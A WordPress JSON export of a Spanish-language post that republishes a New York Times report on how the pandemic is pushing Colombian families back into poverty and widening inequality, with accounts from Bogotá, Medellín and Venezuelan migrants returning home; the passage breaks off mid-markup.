{"id":20038,"date":"2020-07-15T19:54:01","date_gmt":"2020-07-15T19:54:01","guid":{"rendered":"http:\/\/www.lapluma.net\/?p=20038"},"modified":"2020-07-16T14:49:34","modified_gmt":"2020-07-16T14:49:34","slug":"la-pandemia-amenaza-con-ampliar-la-desigualdad-en-america-latina","status":"publish","type":"post","link":"https:\/\/www.lapluma.net\/fr\/2020\/07\/15\/la-pandemia-amenaza-con-ampliar-la-desigualdad-en-america-latina\/","title":{"rendered":"La pandemia amenaza con ampliar la desigualdad en Am\u00e9rica Latina"},"content":{"rendered":"<p style=\"text-align: justify;\"><span style=\"font-size: 12pt;\">La primera p\u00e1gina del peri\u00f3dico <a href=\"https:\/\/pluralidadz.com\/the-new-york-times-pobreza-en-colombia\/\"><strong>The New York Times<\/strong> <\/a>revela la <strong>pobreza en Colombia por causa de la pandemia<\/strong> y de las pocas medidas que ha tomado el presidente Iv\u00e1n Duque para salvar a los m\u00e1s vulnerables de la hambruna.<\/span><\/p>\n<p><img loading=\"lazy\" decoding=\"async\" class=\"size-medium aligncenter\" src=\"https:\/\/pbs.twimg.com\/media\/EcuWUiGWsAUTabX?format=jpg&amp;name=small\" width=\"680\" height=\"680\" \/><\/p>\n<p style=\"text-align: justify;\"><span style=\"font-size: 12pt;\">En las \u00faltimas dos d\u00e9cadas, la desigualdad en Am\u00e9rica Latina cay\u00f3 al punto m\u00e1s bajo de su historia. La pandemia amenaza con revertirlo. Viajamos 1600 kil\u00f3metros a trav\u00e9s de Colombia para documentar este momento cr\u00edtico.<\/span><\/p>\n<p class=\"css-158dogj evys1bk0\" style=\"text-align: justify;\"><span style=\"font-size: 12pt;\">BOGOT\u00c1, Colombia \u2014 Sandra Abello creci\u00f3 pobre, dej\u00f3 la escuela a los 11 a\u00f1os y pas\u00f3 su adolescencia limpiando pisos como trabajadora dom\u00e9stica que viv\u00eda en casa de sus empleadores. Pero para este a\u00f1o, algo notable hab\u00eda sucedido.<\/span><\/p>\n<figure style=\"width: 732px\" class=\"wp-caption aligncenter\"><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/static01.nyt.com\/images\/2020\/07\/12\/world\/11colombiaroadtrip-ES-1\/00colombiaroadtrip-08-superJumbo.jpg?quality=90&amp;auto=webp\" alt=\"\" width=\"732\" height=\"488\" \/><figcaption class=\"wp-caption-text\">En Medell\u00edn, que se considera el Silicon Valley de la regi\u00f3n, ha habido una p\u00e9rdida generalizada de empleos y hambre.<\/figcaption><\/figure>\n<p class=\"css-158dogj evys1bk0\" style=\"text-align: justify;\"><span style=\"font-size: 12pt;\">Abello, ahora de 39 a\u00f1os, finalmente ten\u00eda una casa en un barrio m\u00e1s acomodado. Una de sus hijas, Karol, estaba a punto de terminar la secundaria. Otra, Nicol, cumpl\u00eda 15 a\u00f1os, y planificaban una fiesta con un gran vestido y muchos invitados. Ahorraban para una lavadora. Abello estaba orgullosa de todo lo que hab\u00eda logrado.<\/span><\/p>\n<p class=\"css-158dogj evys1bk0\" style=\"text-align: justify;\"><span style=\"font-size: 12pt;\">Entonces lleg\u00f3 la pandemia, y Abello perdi\u00f3 su trabajo de limpieza. Para mayo, hab\u00eda sido desalojada, lo que la oblig\u00f3 a mudar a sus hijas a un cobertizo en un asentamiento ilegal en lo alto de la ciudad. Por la noche, un fr\u00edo penetrante se abr\u00eda camino. Una vida de esfuerzos se hab\u00eda esfumado en cuesti\u00f3n de semanas.<\/span><\/p>\n<p style=\"text-align: justify;\"><span style=\"font-size: 12pt;\">La hija mayor de Abello, Karol, una aspirante a enfermera, lo llam\u00f3 el \u201cgran retroceso\u201d.<\/span><\/p>\n<div class=\"css-53u6y8\">\n<p class=\"css-158dogj evys1bk0\" style=\"text-align: justify;\"><span style=\"font-size: 12pt;\">No hace mucho, Colombia \u2014y Am\u00e9rica Latina en general\u2014 se encontraba en medio de una transformaci\u00f3n hist\u00f3rica: el flagelo de la desigualdad se reduc\u00eda como nunca. En los \u00faltimos 20 a\u00f1os, millones de familias han salido de la pobreza en una de las regiones m\u00e1s desiguales del planeta. La brecha entre ricos y pobres en Am\u00e9rica Latina cay\u00f3 al punto m\u00e1s bajo registrado.<\/span><\/p>\n<p class=\"css-158dogj evys1bk0\" style=\"text-align: justify;\"><span style=\"font-size: 12pt;\">Ahora, la pandemia amenaza con revertir esos logros como ning\u00fan otro fen\u00f3meno en la historia reciente, dicen los economistas, lo que potencialmente puede cambiar de manera dr\u00e1stica a la pol\u00edtica y a sociedades enteras en los pr\u00f3ximos a\u00f1os.<\/span><\/p>\n<figure style=\"width: 714px\" class=\"wp-caption aligncenter\"><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/static01.nyt.com\/images\/2020\/06\/17\/world\/11colombiaroadtrip-ES-2\/00colombiaroadtrip-superJumbo.jpg?quality=90&amp;auto=webp\" alt=\"\" width=\"714\" height=\"476\" \/><figcaption class=\"wp-caption-text\">La polic\u00eda desaloja residentes de un asentamiento ilegal en Bogot\u00e1.<\/figcaption><\/figure>\n<figure style=\"width: 721px\" class=\"wp-caption aligncenter\"><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/static01.nyt.com\/images\/2020\/06\/17\/world\/11colombiaroadtrip-ES-3\/00colombiaroadtrip-02-superJumbo.jpg?quality=90&amp;auto=webp\" alt=\"\" width=\"721\" height=\"481\" \/><figcaption class=\"wp-caption-text\">Jean Carlos Mosquera y Diana Vargas perdieron sus trabajos cuando se orden\u00f3 la cuarentena en Colombia. Vargas, conserje de una escuela preescolar, dijo que su objetivo hab\u00eda sido \u201cdarles mejor vida a mis hijos, darles la vida que no tuvimos nosotros\u201d.<\/figcaption><\/figure>\n<p style=\"text-align: justify;\"><span style=\"font-size: 12pt;\">Nosotras \u2014dos reporteras y un fot\u00f3grafo con The New York Times\u2014 quer\u00edamos entender lo que esto significa para el futuro de la regi\u00f3n y, en particular, para las familias que hab\u00edan sido tan centrales en esa marcha hacia la igualdad econ\u00f3mica.<\/span><\/p>\n<div class=\"css-53u6y8\">\n<p class=\"css-158dogj evys1bk0\" style=\"text-align: justify;\"><span style=\"font-size: 12pt;\">As\u00ed que comenzamos a conducir, llenamos el autom\u00f3vil con cubrebocas y viajamos m\u00e1s de 1300 kil\u00f3metros desde la capital de Colombia hasta la frontera noreste y de vuelta, y en el camino entrevistamos a decenas de personas sobre la forma en la que la pandemia ha cambiado el curso de sus vidas.<\/span><\/p>\n<p class=\"css-158dogj evys1bk0\" style=\"text-align: justify;\"><span style=\"font-size: 12pt;\">A medida que avanz\u00e1bamos, al dejar los rascacielos de Bogot\u00e1 flanqueados por monta\u00f1as rumbo a las regiones tropicales, qued\u00f3 claro que los motores del ascenso social fallaban, ahogados por un cierre econ\u00f3mico que comenz\u00f3 en marzo y que fue m\u00e1s duro para los trabajadores pobres y los integrantes m\u00e1s vulnerables de la clase media.<\/span><\/p>\n<p><img loading=\"lazy\" decoding=\"async\" class=\"size-medium wp-image-20039 aligncenter\" src=\"http:\/\/www.lapluma.net\/wp-content\/uploads\/2020\/07\/Colombia-300x254.png\" alt=\"\" width=\"300\" height=\"254\" srcset=\"https:\/\/www.lapluma.net\/wp-content\/uploads\/2020\/07\/Colombia-300x254.png 300w, https:\/\/www.lapluma.net\/wp-content\/uploads\/2020\/07\/Colombia.png 330w\" sizes=\"auto, (max-width: 300px) 100vw, 300px\" \/><\/p>\n<figure id=\"attachment_20040\" aria-describedby=\"caption-attachment-20040\" style=\"width: 300px\" class=\"wp-caption aligncenter\"><img loading=\"lazy\" decoding=\"async\" class=\"wp-image-20040\" src=\"http:\/\/www.lapluma.net\/wp-content\/uploads\/2020\/07\/Colombia1-273x300.png\" alt=\"\" width=\"300\" height=\"330\" srcset=\"https:\/\/www.lapluma.net\/wp-content\/uploads\/2020\/07\/Colombia1-273x300.png 273w, https:\/\/www.lapluma.net\/wp-content\/uploads\/2020\/07\/Colombia1.png 335w\" sizes=\"auto, (max-width: 300px) 100vw, 300px\" \/><figcaption id=\"caption-attachment-20040\" class=\"wp-caption-text\">Por The New York Times<\/figcaption><\/figure>\n<p class=\"css-158dogj evys1bk0\" style=\"text-align: justify;\"><span style=\"font-size: 12pt;\">Peque\u00f1as empresas hab\u00edan cerrado para siempre. Las universidades se hab\u00edan quedado sin estudiantes. Las escuelas que hab\u00edan convertido a los hijos de los trabajadores de la construcci\u00f3n en ingenieros estaban cerca del colapso, incapaces de pagar a los profesores. Los agricultores hab\u00edan quemado sus cultivos, arruinados por los mercados perturbados.<\/span><\/p>\n<p class=\"css-158dogj evys1bk0\" style=\"text-align: justify;\"><span style=\"font-size: 12pt;\">Los adolescentes hab\u00edan recurrido a la venta de drogas para alimentar a sus hermanos. Mujeres j\u00f3venes y ni\u00f1as hab\u00edan sido empujadas a la prostituci\u00f3n para pagar las cuentas. Las madres y los padres comenzaron a racionar la medicina de sus hijos, sin saber cu\u00e1ndo tendr\u00edan dinero para m\u00e1s. Las personas ricas se retiraron a sus casas de campo, mientras que otras familias vend\u00edan sus celulares para comprar la cena.<\/span><\/p>\n<p class=\"css-158dogj evys1bk0\" style=\"text-align: justify;\"><span style=\"font-size: 12pt;\">\u201cNunca fue mi sue\u00f1o retroceder\u201d, dijo David Aguirre, de 32 a\u00f1os, quien hab\u00eda pasado de guardaespaldas de bajo nivel a ser el jefe de su propia granja de fresas.<\/span><\/p>\n<p class=\"css-158dogj evys1bk0\" style=\"text-align: justify;\"><span style=\"font-size: 12pt;\">Hab\u00eda invertido los ahorros de toda la vida en su negocio, abierto solo unos meses antes de que llegara la pandemia. Ahora no estaba claro si la granja sobrevivir\u00eda. Cuando nos conocimos, acababa de despedir a sus cuatro trabajadores y desechar una cuarta parte de su cosecha, incapaz de encontrar un comprador y sin poder pagar a sus empleados para que la recogieran. Las bayas yac\u00edan secas y agrietadas a nuestro alrededor, envenenadas con Roundup, y le preocupaba volver al peligroso trabajo de proteger a los ricos.<\/span><\/p>\n<p style=\"text-align: center;\">\u201cUn sacrificio de muchas personas, d\u00edas de seis a seis de la tarde, lluvia, sol\u201d, dijo. \u201c\u00bfY para que todo quede as\u00ed, en nada?\u201d<\/p>\n<figure style=\"width: 721px\" class=\"wp-caption aligncenter\"><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/static01.nyt.com\/images\/2020\/07\/12\/world\/11colombiaroadtrip-ES-4\/00colombiaroadtrip-05-superJumbo.jpg?quality=90&amp;auto=webp\" alt=\"\" width=\"721\" height=\"481\" \/><figcaption class=\"wp-caption-text\">La cosecha de fresas de David Aguirre en El Rosal.<\/figcaption><\/figure>\n<h3 class=\"css-53u6y8\"><strong class=\"css-8qgvsz ebyp5n10\">Bogot\u00e1<\/strong><\/h3>\n<p>Incluso en el primer d\u00eda de nuestro viaje, pudimos ver c\u00f3mo se ampliaba la distancia entre ricos y pobres.<\/p>\n<table class=\" aligncenter\" style=\"width: 91.6468%; border-collapse: collapse; background-color: #f5f0f0; height: 182px;\">\n<tbody>\n<tr>\n<td style=\"width: 100%;\">\n<div id=\"styln-briefing-block\" data-asset-id=\"QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzViZGZkNmUzLTE3MjEtNTkwNS1hNzNhLTk0M2E1ZDA1MGU2Mw==\">\n<div class=\"briefing-block-header-section\">\n<h1 class=\"briefing-block-header\"><a href=\"https:\/\/www.nytimes.com\/2020\/07\/15\/world\/coronavirus-updates.html?action=click&amp;pgtype=Article&amp;state=default&amp;module=styln-coronavirus-national&amp;variant=show&amp;region=MAIN_CONTENT_1&amp;context=storylines_live_updates\">Latest Updates: Global Coronavirus Outbreak <\/a><\/h1>\n<\/div>\n<div class=\"briefing-block-footer\">\n<div class=\"briefing-block-footer-meta\"><\/div>\n<\/div>\n<\/div>\n<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<p class=\"css-158dogj evys1bk0\" style=\"text-align: justify;\"><span style=\"font-size: 12pt;\">Nos dirigimos a las colinas sobre la capital, a un campamento de cobertizos de construcci\u00f3n apresurada que hab\u00eda sido durante mucho tiempo el \u00faltimo recurso para familias desesperadas.<\/span><\/p>\n<p class=\"css-158dogj evys1bk0\" style=\"text-align: justify;\"><span style=\"font-size: 12pt;\">Cuando comenz\u00f3 el confinamiento, el asentamiento creci\u00f3 r\u00e1pidamente con gente como Abello, que hab\u00edan progresado \u2014empleados de panader\u00eda, conserjes de escuelas\u2014 pero perdieron sus trabajos y apartamentos. La pandemia no solo hab\u00eda detenido su progreso. De repente los convirti\u00f3 en invasores.<\/span><\/p>\n<p class=\"css-158dogj evys1bk0\" style=\"text-align: justify;\"><span style=\"font-size: 12pt;\">Ese d\u00eda, la polic\u00eda lleg\u00f3 con un equipo de demolici\u00f3n, dijo que el asentamiento era ilegal y que estaba construido de una forma demasiado precaria como para vivir en \u00e9l, aunque derribarlo exacerbase el sufrimiento en la pandemia.<\/span><\/p>\n<p class=\"css-158dogj evys1bk0\" style=\"text-align: justify;\"><span style=\"font-size: 12pt;\">Las paredes del cobertizo de Abello cayeron con un ruido aterrador.<\/span><\/p>\n<p class=\"css-158dogj evys1bk0\" style=\"text-align: justify;\"><span style=\"font-size: 12pt;\">Por segunda vez en la breve vida de la crisis, ella y su familia no ten\u00edan d\u00f3nde ir.<\/span><\/p>\n<figure style=\"width: 754px\" class=\"wp-caption aligncenter\"><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/static01.nyt.com\/images\/2020\/07\/12\/world\/11colombiaroadtrip-ES-5\/00colombiaroadtrip-03-superJumbo.jpg?quality=90&amp;auto=webp\" alt=\"\" width=\"754\" height=\"503\" \/><figcaption class=\"wp-caption-text\">Sandra Abello estaba adentro de su cobertizo cuando trabajadores de la ciudad lo derribaron.<\/figcaption><\/figure>\n<div class=\"css-53u6y8\" style=\"text-align: justify;\">\n<div class=\"css-53u6y8\">\n<h3 class=\"css-158dogj evys1bk0\"><strong class=\"css-8qgvsz ebyp5n10\">Medell\u00edn<\/strong><\/h3>\n<p class=\"css-158dogj evys1bk0\"><span style=\"font-size: 12pt;\">A ocho horas de Bogot\u00e1, la escuela apareci\u00f3 como un santuario en una colina, rodeada por un amplio jard\u00edn y un port\u00f3n.<\/span><\/p>\n<p class=\"css-158dogj evys1bk0\"><span style=\"font-size: 12pt;\">La instituci\u00f3n, <a class=\"css-1g7m0tk\" title=\"\" href=\"https:\/\/www.facebook.com\/Centro-Educativo-Mi-Segundo-Hogar-1750974121817098\/\" target=\"_blank\" rel=\"noopener noreferrer\">Mi Segundo Hogar<\/a>, hab\u00eda desempe\u00f1ado un papel que cambi\u00f3 la vida de las familias de recursos modestos a lo largo de los a\u00f1os, al ofrecer educaci\u00f3n a bajo costo y de alta calidad. Produjo auxiliares de vuelo y farmac\u00e9uticos en familias donde los padres hab\u00edan ido descalzos a clases.<\/span><\/p>\n<p class=\"css-158dogj evys1bk0\"><span style=\"font-size: 12pt;\">Ahora, cuando las clases presenciales han sido canceladas en toda Am\u00e9rica Latina, la escuela estaba vac\u00eda. Los padres desempleados hab\u00edan dejado de pagar las pensiones, a veces disculp\u00e1ndose profusamente por mensajes de texto, y la escuela apenas pagaba a los maestros.<\/span><\/p>\n<p class=\"css-158dogj evys1bk0\"><span style=\"font-size: 12pt;\">En el patio, la rectora, Lina Castrill\u00f3n, dijo que Mi Segundo Hogar corr\u00eda peligro de cerrar. T\u00e9cnicamente, las clases ahora eran en l\u00ednea, pero solo una parte de los estudiantes pod\u00edan conectarse todos los d\u00edas. Muchos no ten\u00edan computadoras, o intentaban iniciar sesi\u00f3n a trav\u00e9s del celular, y los datos eran caros.<\/span><\/p>\n<p class=\"css-158dogj evys1bk0\"><span style=\"font-size: 12pt;\">No era solo que sus estudiantes iban a desandar en su aprendizaje, dijo Castrill\u00f3n. Le preocupaba que esta interrupci\u00f3n alterar\u00eda fundamentalmente sus vidas, lo que provocar\u00eda deserciones y salarios m\u00e1s bajos, y retrasar\u00eda a toda una generaci\u00f3n. En casa, desconectados de la escuela, dijo, \u201cla visi\u00f3n\u201d \u2014de un mejor futuro\u2014 \u201cse les est\u00e1 perdiendo\u201d.<\/span><\/p>\n<figure style=\"width: 686px\" class=\"wp-caption aligncenter\"><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/static01.nyt.com\/images\/2020\/06\/17\/world\/11colombiaroadtrip-ES-6\/merlin_172905012_b5a33803-952b-4adc-b9f2-63de3d004962-superJumbo.jpg?quality=90&amp;auto=webp\" alt=\"\" width=\"686\" height=\"458\" \/><figcaption class=\"wp-caption-text\">El auditorio de Mi Segundo Hogar. La escuela, v\u00eda de acceso a una mejor vida para muchos ni\u00f1os pobres, enfrenta un posible cierre.<\/figcaption><\/figure>\n<\/div>\n<\/div>\n<\/div>\n<\/div>\n<div id=\"ffenetremailtomailModal\" style=\"z-index: 20002; text-align: justify;\">\n<div id=\"ffenetremailtopopupModalMail\">\n<div id=\"ffenetremailtotoModalClose\"><\/div>\n<div id=\"ffenetremailtopopupQuestion\"><span style=\"font-size: 12pt;\">What do you want to do ?<\/span><\/div>\n<p><span style=\"font-size: 12pt;\"><a id=\"ffenetremailtoemailOpen\"><\/a>New mail<button id=\"ffenetremailtobuttonEmail\">Copy<\/button><textarea id=\"ffenetremailtotextArea\"><\/textarea><\/span><\/p>\n<\/div>\n<\/div>\n<div style=\"text-align: justify;\"><\/div>\n<div class=\"css-1fanzo5 StoryBodyCompanionColumn\">\n<div class=\"css-53u6y8\">\n<p class=\"css-158dogj evys1bk0\" style=\"text-align: justify;\"><span style=\"font-size: 12pt;\">Durante a\u00f1os, Colombia fue un claro ejemplo de la brecha de riqueza en la regi\u00f3n, y de las luchas para reducirla.<\/span><\/p>\n<p class=\"css-158dogj evys1bk0\" style=\"text-align: justify;\"><span style=\"font-size: 12pt;\">La prolongada guerra contra fuerzas rebeldes surgi\u00f3 de la ira por la desigualdad. Las divisiones de clase est\u00e1n tan integradas a la sociedad que en las conversaciones informales algunas personas pobres se refieren a las m\u00e1s ricas como \u201csumerc\u00e9\u201d, una reliquia del colonialismo. Las ciudades est\u00e1n divididas en \u201cestratos\u201d, que significan la clase social de cada uno.<\/span><\/p>\n<p class=\"css-158dogj evys1bk0\" style=\"text-align: justify;\"><span style=\"font-size: 12pt;\">Los ricos viven en el estrato seis. Los pobres viven en el estrato uno. Aquellos en asentamientos informales \u2014que legalmente no existen\u2014 viven en lo que las personas coloquialmente llaman de \u201cestrato cero\u201d.<\/span><\/p>\n<p class=\"css-158dogj evys1bk0\" style=\"text-align: justify;\"><span style=\"font-size: 12pt;\">Pero la vida ha cambiado, considerablemente. De 2002 a 2018, Colombia, uno de los pa\u00edses m\u00e1s desiguales en una regi\u00f3n extremadamente desigual, <a class=\"css-1g7m0tk\" title=\"\" href=\"https:\/\/www.scribd.com\/document\/463531085\/Nota-Macroeconomica-Universidad-de-Los-Andes\" target=\"_blank\" rel=\"noopener noreferrer\">redujo su tasa de pobreza a cerca de la mitad<\/a>, al 27 por ciento. El pa\u00eds firm\u00f3 un acuerdo de paz hist\u00f3rico con el principal grupo rebelde, y prometi\u00f3 ayudar a miles en los m\u00e1rgenes econ\u00f3micos y sociales a unirse al \u00e9xito de la naci\u00f3n.<\/span><\/p>\n<p class=\"css-158dogj evys1bk0\" style=\"text-align: justify;\"><span style=\"font-size: 12pt;\">La brecha entre ricos y pobres se manten\u00eda obstinadamente alta en comparaci\u00f3n con gran parte del mundo. En los a\u00f1os noventa, el 10 por ciento m\u00e1s rico de Am\u00e9rica Latina y el Caribe ganaba alrededor de 50 veces m\u00e1s que el 10 por ciento m\u00e1s pobre, seg\u00fan Mat\u00edas Busso, economista del Banco Interamericano de Desarrollo.<\/span><\/p>\n<p class=\"css-158dogj evys1bk0\" style=\"text-align: justify;\"><span style=\"font-size: 12pt;\">Para cuando la pandemia se desat\u00f3, las personas con mayores ingresos hicieron un promedio de 22 veces m\u00e1s que los m\u00e1s pobres. As\u00ed que, aunque la desigualdad se aferr\u00f3 en la regi\u00f3n, hab\u00eda ca\u00eddo a un m\u00ednimo hist\u00f3rico, dijo.<\/span><\/p>\n<p class=\"css-158dogj evys1bk0\" style=\"text-align: justify;\"><span style=\"font-size: 12pt;\">Ahora, la pandemia podr\u00eda llevar los niveles de desigualdad y pobreza a como estaban en Colombia a inicios del siglo XXI, <a class=\"css-1g7m0tk\" title=\"\" href=\"https:\/\/www.scribd.com\/document\/463531085\/Nota-Macroeconomica-Universidad-de-Los-Andes\" target=\"_blank\" rel=\"noopener noreferrer\">seg\u00fan un an\u00e1lisis<\/a> realizado por profesores de la Universidad de los Andes. \u201cUn retroceso de dos d\u00e9cadas\u201d, lo llaman.<\/span><\/p>\n<\/div>\n<aside class=\"css-ew4tgv\" aria-label=\"companion column\"><\/aside>\n<\/div>\n<div class=\"css-190ncxp\" style=\"text-align: justify;\"><\/div>\n<div class=\"css-1fanzo5 StoryBodyCompanionColumn\" style=\"text-align: justify;\">\n<div class=\"css-53u6y8\">\n<p class=\"css-158dogj evys1bk0\"><span style=\"font-size: 12pt;\">Los economistas predicen regresiones similares en toda la regi\u00f3n, y el Banco Mundial advierte que solo este a\u00f1o <a class=\"css-1g7m0tk\" title=\"\" href=\"https:\/\/labs.ebanx.com\/en\/notes\/world-bank-foresees-that-53-million-latin-americans-will-have-incomes-below-the-regional-poverty-line\/\" target=\"_blank\" rel=\"noopener noreferrer\">m\u00e1s de 50 millones de personas<\/a> en Am\u00e9rica Latina y el Caribe podr\u00edan sumirse en la pobreza.<\/span><\/p>\n<p class=\"css-158dogj evys1bk0\"><span style=\"font-size: 12pt;\">\u201cLa crisis actual es probablemente la mayor amenaza a la desigualdad que hemos experimentado\u201d, dijo Busso.<\/span><\/p>\n<p class=\"css-158dogj evys1bk0\"><span style=\"font-size: 12pt;\">En Medell\u00edn, vimos a cientos de madres solteras hacer fila afuera de un banco de alimentos que se hab\u00eda expandido significativamente cuando comenz\u00f3 la crisis. Una mujer, Mar\u00eda Camila Salazar, de 22 a\u00f1os, dijo que su madre, Mar\u00eda Eugenia Carvalho, de 53, se hab\u00eda desnutrido tan peligrosamente que sus delgados hombros ahora sobresal\u00edan de su cuerpo.<\/span><\/p>\n<p class=\"css-158dogj evys1bk0\"><span style=\"font-size: 12pt;\">\u201cNos acostamos sin comer, sin darle nada a los hijos\u201d, dijo.<\/span><\/p>\n<\/div>\n<\/div>\n<figure style=\"width: 645px\" class=\"wp-caption aligncenter\"><img loading=\"lazy\" decoding=\"async\" class=\"\" src=\"https:\/\/static01.nyt.com\/images\/2020\/06\/17\/world\/11colombiaroadtrip-ES-7\/00colombiaroadtrip-11-superJumbo.jpg?quality=90&amp;auto=webp\" alt=\"\" width=\"645\" height=\"430\" \/><figcaption class=\"wp-caption-text\">Mar\u00eda Eugenia Carvalho, al centro, en su casa en Medell\u00edn. Carvalho recolecta reciclaje para ganarse la vida, pero sus compradores cerraron en medio de la pandemia.<\/figcaption><\/figure>\n<figure style=\"width: 652px\" class=\"wp-caption aligncenter\"><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/static01.nyt.com\/images\/2020\/06\/17\/world\/11colombiaroadtrip-ES-8\/11colombiaroadtrip-ES-8-superJumbo.jpg?quality=90&amp;auto=webp\" alt=\"\" width=\"652\" height=\"435\" \/><figcaption class=\"wp-caption-text\">Mar\u00eda Camila Salazar y su hija, Andrea de Dios<\/figcaption><\/figure>\n<div class=\"css-1fanzo5 StoryBodyCompanionColumn\">\n<div class=\"css-53u6y8\">\n<p class=\"css-158dogj evys1bk0\" style=\"text-align: justify;\"><span style=\"font-size: 12pt;\">Antes de la pandemia, Carolina Urda, de 31 a\u00f1os, <a class=\"css-1g7m0tk\" title=\"\" href=\"https:\/\/www.facebook.com\/fundacionmadressolteras\/\" target=\"_blank\" rel=\"noopener noreferrer\">quien dirige el banco de alimentos<\/a>, hab\u00eda trabajado para expandir un negocio de costura y lavado destinado a llevar a mujeres en trabajos inestables \u2014ni\u00f1eras, recolectoras de reciclaje\u2014 a algo m\u00e1s seguro.<\/span><\/p>\n<p class=\"css-158dogj evys1bk0\" style=\"text-align: justify;\"><span style=\"font-size: 12pt;\">Las mujeres ahora no ten\u00edan ning\u00fan trabajo, y Urda pasaba horas cada semana en la tarea de recolectar comida para alimentar a sus familias.<\/span><\/p>\n<\/div>\n<\/div>\n<div class=\"css-1fanzo5 StoryBodyCompanionColumn\">\n<div class=\"css-53u6y8\">\n<p class=\"css-158dogj evys1bk0\" style=\"text-align: justify;\"><span style=\"font-size: 12pt;\">\u201cNo queremos m\u00e1s comidas\u201d, dijo, sacudiendo los pu\u00f1os con frustraci\u00f3n. \u201cQueremos mujeres empoderadas, autosuficientes, empresarias aut\u00f3nomas\u201d.<\/span><\/p>\n<figure style=\"width: 640px\" class=\"wp-caption aligncenter\"><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/static01.nyt.com\/images\/2020\/07\/12\/world\/11colombiaroadtrip-ES-9\/00colombiaroadtrip-15-superJumbo.jpg?quality=90&amp;auto=webp\" alt=\"\" width=\"640\" height=\"427\" \/><figcaption class=\"wp-caption-text\">Roraima Daversa, a la izquierda, y su hijo Amado, con cubrebocas, caminaron aproximadamente 400 kil\u00f3metros desde Bogot\u00e1 a Bucaramanga, tratando de regresar a Venezuela.<\/figcaption><\/figure>\n<h3 class=\"css-158dogj evys1bk0\"><strong class=\"css-8qgvsz ebyp5n10\">Bucaramanga<\/strong><\/h3>\n<p class=\"css-158dogj evys1bk0\" style=\"text-align: justify;\"><span style=\"font-size: 12pt;\">Quiz\u00e1s la imagen m\u00e1s impactante del retroceso de Am\u00e9rica Latina fue la carretera.<\/span><\/p>\n<p class=\"css-158dogj evys1bk0\" style=\"text-align: justify;\"><span style=\"font-size: 12pt;\">Hab\u00edamos esperado encontrar rutas vac\u00edas. En cambio, kil\u00f3metro tras kil\u00f3metro, encontramos procesiones de migrantes venezolanos que arrastraban sus maletas de regreso a casa.<\/span><\/p>\n<p class=\"css-158dogj evys1bk0\" style=\"text-align: justify;\"><span style=\"font-size: 12pt;\">Hab\u00edan llegado a Colombia solo unos a\u00f1os o incluso meses antes, parte de un \u00e9xodo de migrantes que escapaban del colapso pol\u00edtico y econ\u00f3mico de Venezuela. Muchos hab\u00edan esperado aprender un oficio u obtener un t\u00edtulo en Colombia, o simplemente ganar suficiente dinero para ayudar a sus familias en Venezuela.<\/span><\/p>\n<p class=\"css-158dogj evys1bk0\" style=\"text-align: justify;\"><span style=\"font-size: 12pt;\">Ahora, debido a la pandemia, las personas que conocimos hab\u00edan perdido cualquier peque\u00f1o v\u00ednculo que ten\u00edan a una vida en Colombia \u2014un empleo, un apartamento\u2014 y migraban a la inversa, de vuelta a una naci\u00f3n donde estaban casi seguros de que les esperaba el desastre. La mayor\u00eda dijo que ten\u00edan familiares en Venezuela que pod\u00edan ayudarlos, mientras que en Colombia ya no ten\u00edan nada.<\/span><\/p>\n<p class=\"css-158dogj evys1bk0\" style=\"text-align: justify;\"><span style=\"font-size: 12pt;\">\u201cSe acab\u00f3 la esperanza\u201d, dijo un hombre, Rafael Decena, de 50 a\u00f1os.<\/span><\/p>\n<figure style=\"width: 667px\" class=\"wp-caption aligncenter\"><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/static01.nyt.com\/images\/2020\/06\/17\/world\/11colombiaroadtrip-ES-10\/00colombia-bus-superJumbo.jpg?quality=90&amp;auto=webp\" alt=\"\" width=\"667\" height=\"445\" \/><figcaption class=\"wp-caption-text\">Annahe \u00c1lvarez, a la derecha, y su hija Anneris Rey durmieron en una terminal en Medell\u00edn durante una semana, con la esperanza de tomar un autob\u00fas de regreso a Venezuela.<\/figcaption><\/figure>\n<figure style=\"width: 667px\" class=\"wp-caption aligncenter\"><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/static01.nyt.com\/images\/2020\/06\/17\/world\/11colombiaroadtrip-ES-11\/00colombiaroadtrip-16-superJumbo.jpg?quality=90&amp;auto=webp\" alt=\"\" width=\"667\" height=\"445\" \/><figcaption class=\"wp-caption-text\">Familias venezolanas esperan un autob\u00fas que los lleve a la frontera. Hab\u00edan caminado durante semanas, a menudo cargando ni\u00f1os a sus espaldas.<\/figcaption><\/figure>\n<div class=\"css-53u6y8\">\n<p class=\"css-158dogj evys1bk0\" style=\"text-align: justify;\"><span style=\"font-size: 12pt;\">Desde que comenz\u00f3 la pandemia m\u00e1s de 80.000 venezolanos han regresado a su pa\u00eds, seg\u00fan las autoridades colombianas.<\/span><\/p>\n<p class=\"css-158dogj evys1bk0\" style=\"text-align: justify;\"><span style=\"font-size: 12pt;\">En Bucaramanga, una ciudad mediana de Colombia, cientos de familias migrantes acamparon a las afueras de un parque para descansar. Una noche, lleg\u00f3 una caravana de autobuses, una flota enviada por el gobierno colombiano para llevar a las personas los \u00faltimos 190 kil\u00f3metros a la frontera.<\/span><\/p>\n<p class=\"css-158dogj evys1bk0\" style=\"text-align: justify;\"><span style=\"font-size: 12pt;\">Roraima Daversa, de 26 a\u00f1os, y su hijo Amado, de 9 a\u00f1os, subieron al autob\u00fas con los pies agrietados y con ampollas.<\/span><\/p>\n<p class=\"css-158dogj evys1bk0\" style=\"text-align: justify;\"><span style=\"font-size: 12pt;\">Hab\u00edan pasado noche tras noche durmiendo al costado del camino. Cuando Daversa tom\u00f3 asiento, las l\u00e1grimas comenzaron a rodar por su rostro. Sinti\u00f3 alivio. Ella y Amado ya no ten\u00edan que caminar. \u201cTodos los d\u00edas me pregunt\u00f3: \u2018\u00bfCu\u00e1ntos d\u00edas nos faltan?\u2019\u201d.<\/span><\/p>\n<p class=\"css-158dogj evys1bk0\" style=\"text-align: justify;\"><span style=\"font-size: 12pt;\">Pero tambi\u00e9n hab\u00eda desconsuelo.<\/span><\/p>\n<p 